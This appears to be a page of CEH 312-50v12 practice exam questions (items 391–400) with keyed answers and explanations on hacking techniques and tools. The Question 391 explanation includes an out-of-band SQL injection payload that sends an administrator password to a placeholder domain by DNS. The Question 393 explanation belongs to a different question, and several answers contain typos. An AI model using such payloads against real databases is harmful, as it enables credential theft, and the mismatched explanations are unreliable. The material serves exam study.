EC-COUNCIL 312-50V12 Online Practice Questions and Exam Preparation

EC-COUNCIL 312-50V12 Online Questions & Answers

• Question 391:

  As an IT Security Analyst, you've been asked to review the security measures of an e-commerce website that relies on a SQL database for storing sensitive customer data. Recently, an anonymous tip has alerted you to a possible threat: a seasoned hacker who specializes in SQL Injection attacks may be targeting your system. The site already employs input validation measures to prevent basic injection attacks, and it blocks any user inputs containing suspicious patterns. However, this hacker is known to use advanced SQL Injection techniques. Given this situation, which of the following strategies would the hacker most likely adopt to bypass your security measures?

  A. The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests
  B. The hacker may resort to a DDoS attack instead, attempting to crash the server and thus render the e commerce site unavailable
  C. The hacker may try to use SQL commands which are less known and less likely to be blocked by your system's security
  D. The hacker might employ a blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit
  A. The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests

  ---

  Explanation/Reference:

  An `out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database: SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt')) This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password. References:

  1: Out-of-band SQL injection | Learn AppSec | Invicti

  2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy

  3: SQLi part 6: Out-of-band SQLi | Acunetix

• Question 392:

  John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the IDAP service for sensitive information such as usernames. addresses,

  departmental details, and server names to launch further attacks on the target organization.

  What is the tool employed by John to gather information from the IDAP service?

  A. jxplorer
  B. Zabasearch
  C. EarthExplorer
  D. Ike-scan
  A. jxplorer

  ---

  Explanation/Reference:

  JXplorer could be a cross platform LDAP browser and editor. it's a standards compliant general purpose LDAP client which will be used to search, scan and edit any commonplace LDAP directory, or any directory service with an LDAP or DSML interface. It is extremely flexible and can be extended and custom in a very number of the way. JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment or any develop the program. JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the JXWorkBench Enterprise bundle with inbuilt reporting, administrative and security tools. JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release. JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol. it's been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AIX, BSD and it should run on any java supporting OS.

• Question 393:

  An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?

  A. Reverse Social Engineering
  B. Tailgating
  C. Piggybacking
  D. Announced
  B. Tailgating

  ---

  Explanation/Reference:

  Identifying operating systems, services, protocols and devices,

  Collecting unencrypted information about usernames and passwords,

  Capturing network traffic for further analysis are passive network sniffing methods since with the help of them we only receive information and do not make any changes to the target network.

  When modifying and replaying the captured network traffic, we are already starting to make changes and actively interact with it.

• Question 394:

  Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient's consent, similar to email spamming?

  A. Bluesmacking
  B. BlueSniffing
  C. Bluejacking
  D. Bluesnarfing
  C. Bluejacking

  ---

  Explanation/Reference:

  https://en.wikipedia.org/wiki/Bluejacking Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones, PDAs or laptop computers, sending a vCard which typically contains a message

  in the name field (i.e., for bluedating or bluechat) to another Bluetooth-enabled device via the OBEX protocol.

  Bluejacking is usually harmless, but because bluejacked people generally don't know what has happened, they may think that their phone is malfunctioning. Usually, a bluejacker will only send a text message, but with modern phones it's

  possible to send images or sounds as well. Bluejacking has been used in guerrilla marketing campaigns to promote advergames.

  Bluejacking is also confused with Bluesnarfing, which is the way in which mobile phones are illegally hacked via Bluetooth.

• Question 395:

  Which wireless security protocol replaces the personal pre-shared key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is therefore resistant to offline dictionary attacks?

  A. WPA3-Personal
  B. WPA2-Enterprise
  C. Bluetooth
  D. ZigBee
  A. WPA3-Personal

• Question 396:

  Based on the below log, which of the following sentences are true?

  Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip

  A. Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.
  B. Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.
  C. SSH communications are encrypted; it's impossible to know who is the client or the server.
  D. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.
  D. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.

  ---

  Explanation/Reference:

  Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip Let's just disassemble this entry. Mar 1, 2016, 7:33:28 AM - time of the request

  10.240.250.23 - 54373 - client's IP and port

  10.249.253.15 - server IP - 22 - SSH port

• Question 397:

  A skilled ethical hacker was assigned to perform a thorough OS discovery on a potential target. They decided to adopt an advanced fingerprinting technique and sent a TCP packet to an open TCP port with specific flags enabled. Upon receiving the reply, they noticed the flags were SYN and ECN-Echo. Which test did the ethical hacker conduct and why was this specific approach adopted?

  A. Test 3: The test was executed to observe the response of the target system when a packet with URG, PSH, SYN, and FIN flags was sent, thereby identifying the OS
  B. Qrest 1: The test was conducted because SYN and ECN-Echo flags enabled to allow the hacker to probe the nature of the response and subsequently determine the OS fingerprint
  C. Test 2: This test was chosen because a TCP packet with no flags enabled is known as a NULL packet and this would allow the hacker to assess the OS of the target
  D. Test 6: The hacker selected this test because a TCP packet with the ACK flag enabled sent to a closed TCP port would yield more information about the OS
  B. Qrest 1: The test was conducted because SYN and ECN-Echo flags enabled to allow the hacker to probe the nature of the response and subsequently determine the OS fingerprint

  ---

  Explanation/Reference:

  sender supports Explicit Congestion Notification (ECN), which is a mechanism to reduce network congestion. Different OSes have different implementations and responses to these flags, which can reveal their identity. For example, Windows XP and 2000 will reply with SYN and ECN-Echo flags set, while Linux will reply with only SYN flag set. By sending a TCP packet with these flags enabled to an open TCP port and observing the reply, the ethical hacker can probe the nature of the response and subsequently determine the OS fingerprint. The ethical hacker adopted this specific approach because it is an advanced and stealthy technique that can evade some firewalls and intrusion detection systems (IDS) that may block or alert other types of packets, such as NULL, FIN, or Xmas packets. Moreover, this technique can provide more accurate and reliable results than other techniques, such as banner grabbing or passive analysis, that may depend on the availability or validity of the information provided by the target system. The other options are not correct, as they describe different tests and reasons. Test 3 is a TCP/IP stack fingerprinting technique that uses the URG, PSH, SYN, and FIN flags to determine the OS of the target system. Test 2 is a TCP/IP stack fingerprinting technique that uses a NULL packet, which is a TCP packet with no flags enabled, to determine the OS of the target system. Test 6 is a TCP/IP stack fingerprinting technique that uses the ACK flag, which is used to acknowledge the receipt of a TCP segment, to determine the OS of the target system. References: OS and Application Fingerprinting | SANS Institute Operating System Fingerprinting | SpringerLink OS and Application Fingerprinting - community.akamai.com What is OS Fingerprinting and Techniques - Zerosuniverse

• Question 398:

  Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the

  same session 10 to the target employee. The session ID links the target employee to Boneys account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered

  in a form are linked to Boneys account.

  What is the attack performed by Boney in the above scenario?

  A. Session donation attack
  B. Session fixation attack
  C. Forbidden attack
  D. CRIME attack
  A. Session donation attack

  ---

  Explanation/Reference:

  In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and session fixation. A session donation attack involves the following steps.

• Question 399:

  Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

  A. nessus
  B. tcpdump
  C. ethereal
  D. jack the ripper
  B. tcpdump

  ---

  Explanation/Reference:

  Tcpdump is a data-network packet analyzer computer program that runs under a command-line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

  Distributed under the BSD license, tcpdump is free software.

  https://www.wireshark.org/

  Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. NOTE: Wireshark is very similar to tcpdump, but has a graphical front-

  end, plus some integrated sorting and filtering options.

• Question 400:

  You are analysing traffic on the network with Wireshark. You want to routinely run a cron job which will run the capture against a specific set of IPs, "192.168.8.0/24". What command you would use?

  A. wireshark ""fetch "192.168.8/*"
  B. wireshark ""capture ""local ""masked 192.168.8.0 ""range 24
  C. tshark "net 192.255.255.255 mask 192.168.8.0"
  D. sudo tshark -f "net 192.168.8.0/24"
  D. sudo tshark -f "net 192.168.8.0/24"